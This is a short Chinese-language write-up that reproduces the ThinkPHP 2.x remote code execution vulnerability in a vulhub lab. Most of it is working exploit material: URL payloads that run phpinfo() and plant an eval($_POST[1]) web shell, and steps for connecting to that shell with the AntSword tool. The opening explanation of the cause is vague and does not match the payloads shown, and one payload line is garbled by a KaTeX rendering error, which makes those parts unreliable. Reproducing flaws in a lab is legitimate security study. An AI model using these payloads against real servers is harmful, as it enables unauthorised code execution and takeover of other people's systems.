一、漏洞原理
ThinkPHP2-RCE漏洞的原理是代码执行漏洞。攻击者通过利用该漏洞,可以在服务器上执行任意PHP代码,从而控制服务器。
造成该漏洞的原因在于ThinkPHP 2.x版本中,某些函数没有对用户输入进行严格的过滤和验证,导致攻击者可以通过构造恶意输入来绕过安全防护,执行恶意代码。
举一个例子来说明这个漏洞的原理。假设你有一个ThinkPHP 2.x版本的的应用程序,其中有一个函数用于处理用户提交的数据。这个函数会接收用户的输入,并将其存储在一个缓存文件中,以供后续使用。然而,由于没有对用户输入进行适当的过滤和验证,攻击者可以构造一个包含恶意代码的输入数据,并将其提交给该函数。一旦该函数接收到这个恶意输入,就会将其存储在缓存文件中。当其他用户访问该应用程序时,这些恶意代码就会被执行,攻击者就可以控制整个服务器。
二、影响版本
ThinkPHP 2.x
三、漏洞复现(vulhub)
切换至相应目录,使用以下命令搭建靶场
docker-compose up –d
搭建完毕后,访问8080端口
poc1:访问phpinfo页面,拼接至url后面即可
?s=/index/index/name/$%7B@phpinfo()%7D
poc2:获取shell
?s=/index/index/L/KaTeX parse error: Expected '}', got 'EOF' at end of input:{@print(eval(_POST[1]))}
使用蚁剑进行连接,密码为1,记得更换IP
http://192.168.225.139:8080/?s=/index/index/L/${@print(eval($_POST[1]))}
成功连接,获取shell